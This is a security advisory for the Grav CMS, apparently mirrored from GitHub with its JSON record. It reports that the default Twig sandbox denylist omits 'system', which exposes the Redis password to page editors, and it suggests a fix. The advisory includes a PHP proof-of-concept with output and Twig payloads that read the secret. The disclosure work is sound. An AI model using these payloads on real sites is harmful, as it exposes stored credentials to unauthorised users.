GHSA-XJW5-Q542-3VMR
Vulnerability from github – Published: 2026-09-17 20:27 – Updated: 2026-09-17 20:27Summary
system/config/security.yaml's default twig_sandbox.config_denied_paths list
(plugins, streams, security, backups, scheduler) omits the system prefix.
When an operator enables the documented, non-default twig_content.config_access: true
setting (intended to safely expose low-sensitivity values like site.title to
editor-authored Twig content), any real secret stored under system.* , for example
system.cache.redis.password , is also exposed, both via config.get(...) and via
config.toArray(), to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist,
but the shipped default denylist is incomplete.
Environment used to verify
- Grav commit at HEAD of the default branch,
GRAV_VERSION2.0.15 - PHP 8.3.6 with curl, zip, dom, gd extensions installed
- Full
composer install --no-devrun against the real repository (no mocked dependencies) so the actualGrav\Common\Config\ConfigandGrav\Common\Twig\Sandbox\SandboxConfigclasses could be exercised directly
Commands run to set up the verification environment
git clone https://github.com/getgrav/grav.git
cd grav
# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
"https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
grep -n "redis" -A3 system/config/system.yaml
# redis:
# socket: false
# password: # <- system.cache.redis.password, a real field
# database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
# cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password"
# type: text
sandbox_test.php , loads the real classes via the real autoloader, no mocking of
Config or SandboxConfig themselves:
<?php
require 'vendor/autoload.php';
use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
'system' => [
'cache' => [
'driver' => 'redis',
'redis' => [
'server' => '10.0.0.5',
'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
],
],
],
'plugins' => [
'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
],
'site' => ['title' => 'My Site'],
];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));
echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
print_r($sandboxConfig->toArray());
Run:
php sandbox_test.php
Output:
plugins.someplugin.api_key: string(8) "REDACTED"
system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"
Array
(
[system] => Array
(
[cache] => Array
(
[driver] => redis
[redis] => Array
(
[server] => 10.0.0.5
[password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
)
)
)
[site] => Array
(
[title] => My Site
)
)
plugins.* is correctly redacted; system.cache.redis.password is not, and appears in
full both via targeted get() and via bulk toArray().
Confirming the Twig-reachable path is real
system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's
methods for use inside sandboxed page-content templates:
- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
methods: 'get, toarray, value, offsetget, offsetexists'
So, with twig_content.process_enabled: true and twig_content.config_access: true
both set (both documented, operator-controlled settings), a page containing:
{{ config.get('system.cache.redis.password') }}
or
{{ config.toArray() }}
renders the real Redis password directly into the page output for any user with page-edit permission.
Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented config_access opt-in (intended only to expose things like site.title),
exposes that Redis password , and potentially other future system.* secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.
Suggested fix
Add system to the default config_denied_paths list in
system/config/security.yaml, or invert the model to an allowlist (e.g. site, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under system.* doesn't silently bypass the sandbox by default.
Affected component
system/config/security.yaml,twig_sandbox.config_denied_pathsdefault valuesystem/src/Grav/Common/Twig/Sandbox/SandboxConfig.php(behaves correctly given its input; the gap is in the default list passed to it) ```
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.15"
},
"package": {
"ecosystem": "Packagist",
"name": "getgrav/grav"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.0.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-76846"
],
"database_specific": {
"cwe_ids": [
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-17T20:27:05Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`system/config/security.yaml`\u0027s default `twig_sandbox.config_denied_paths` list\n(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.\nWhen an operator enables the documented, non-default `twig_content.config_access: true`\nsetting (intended to safely expose low-sensitivity values like `site.title` to\neditor-authored Twig content), any real secret stored under `system.*` , for example\n`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via\n`config.toArray()`, to any user with page-edit permission.\n\nThis is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret\nexfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,\nbut the shipped default denylist is incomplete.\n\n## Environment used to verify\n\n- Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`\n- PHP 8.3.6 with curl, zip, dom, gd extensions installed\n- Full `composer install --no-dev` run against the real repository (no mocked\n dependencies) so the actual `Grav\\Common\\Config\\Config` and\n `Grav\\Common\\Twig\\Sandbox\\SandboxConfig` classes could be exercised directly\n\n## Commands run to set up the verification environment\n\n```bash\ngit clone https://github.com/getgrav/grav.git\ncd grav\n\n# install missing PHP extensions required by composer.json\napt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd\n\n# composer.phar fetched directly from GitHub releases\ncurl -sL -o /tmp/composer.phar \\\n \"https://github.com/composer/composer/releases/latest/download/composer.phar\"\n\nCOMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction\n```\n\n## Proof of Concept\n\nConfirmed the real, currently-shipped config field first, rather than assuming one:\n\n```bash\ngrep -n \"redis\" -A3 system/config/system.yaml\n# redis:\n# socket: false\n# password: # \u003c- system.cache.redis.password, a real field\n# database:\n\ngrep -n \"cache.redis.password\" -A6 system/blueprints/config/system.yaml\n# cache.redis.password: # \u003c- confirmed exposed in the admin UI as \"REDIS Password\"\n# type: text\n```\n\n`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of\n`Config` or `SandboxConfig` themselves:\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse Grav\\Common\\Config\\Config;\nuse Grav\\Common\\Twig\\Sandbox\\SandboxConfig;\n\n// Real field: system.cache.redis.password\n// (system/config/system.yaml line 138; blueprint in\n// system/blueprints/config/system.yaml, \"cache.redis.password\")\n$configTree = [\n \u0027system\u0027 =\u003e [\n \u0027cache\u0027 =\u003e [\n \u0027driver\u0027 =\u003e \u0027redis\u0027,\n \u0027redis\u0027 =\u003e [\n \u0027server\u0027 =\u003e \u002710.0.0.5\u0027,\n \u0027password\u0027 =\u003e \u0027REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\u0027,\n ],\n ],\n ],\n \u0027plugins\u0027 =\u003e [\n \u0027someplugin\u0027 =\u003e [\u0027api_key\u0027 =\u003e \u0027plugin-secret-should-be-blocked\u0027],\n ],\n \u0027site\u0027 =\u003e [\u0027title\u0027 =\u003e \u0027My Site\u0027],\n];\n\n$config = new Config($configTree);\n\n// exact default list shipped in system/config/security.yaml\n$defaultDeniedPaths = [\u0027plugins\u0027, \u0027streams\u0027, \u0027security\u0027, \u0027backups\u0027, \u0027scheduler\u0027];\n\n$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);\n\necho \"plugins.someplugin.api_key: \";\nvar_dump($sandboxConfig-\u003eget(\u0027plugins.someplugin.api_key\u0027, \u0027REDACTED\u0027));\n\necho \"system.cache.redis.password: \";\nvar_dump($sandboxConfig-\u003eget(\u0027system.cache.redis.password\u0027, \u0027REDACTED\u0027));\n\nprint_r($sandboxConfig-\u003etoArray());\n```\n\nRun:\n\n```bash\nphp sandbox_test.php\n```\n\nOutput:\n\n```\nplugins.someplugin.api_key: string(8) \"REDACTED\"\n\nsystem.cache.redis.password: string(42) \"REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\"\n\nArray\n(\n [system] =\u003e Array\n (\n [cache] =\u003e Array\n (\n [driver] =\u003e redis\n [redis] =\u003e Array\n (\n [server] =\u003e 10.0.0.5\n [password] =\u003e REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK\n )\n\n )\n\n )\n\n [site] =\u003e Array\n (\n [title] =\u003e My Site\n )\n\n)\n```\n\n`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in\nfull both via targeted `get()` and via bulk `toArray()`.\n\n## Confirming the Twig-reachable path is real\n\n`system/config/security.yaml`\u0027s sandbox policy explicitly allow-lists `SandboxConfig`\u0027s\nmethods for use inside sandboxed page-content templates:\n\n```yaml\n- class: \u0027Grav\\Common\\Twig\\Sandbox\\SandboxConfig\u0027\n methods: \u0027get, toarray, value, offsetget, offsetexists\u0027\n```\n\nSo, with `twig_content.process_enabled: true` and `twig_content.config_access: true`\nboth set (both documented, operator-controlled settings), a page containing:\n\n```twig\n{{ config.get(\u0027system.cache.redis.password\u0027) }}\n```\n\nor\n\n```twig\n{{ config.toArray() }}\n```\n\nrenders the real Redis password directly into the page output for any user with\npage-edit permission.\n\n## Impact\n\nAny site that (a) uses Redis for caching with a password set, and (b) has enabled the\ndocumented `config_access` opt-in (intended only to expose things like `site.title`),\nexposes that Redis password , and potentially other future `system.*` secrets , to\nevery user with page-edit access, not just administrators. This defeats the purpose of\nthe redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific\ncombination of otherwise-legitimate settings.\n\n## Suggested fix\n\nAdd `system` to the default `config_denied_paths` list in\n`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and\nany other subtree confirmed non-sensitive) so a future secret-bearing config key added\nunder `system.*` doesn\u0027t silently bypass the sandbox by default.\n\n## Affected component\n\n- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value\n- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its\n input; the gap is in the default list passed to it)\n```",
"id": "GHSA-xjw5-q542-3vmr",
"modified": "2026-09-17T20:27:05Z",
"published": "2026-09-17T20:27:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76846"
},
{
"type": "PACKAGE",
"url": "https://github.com/getgrav/grav"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.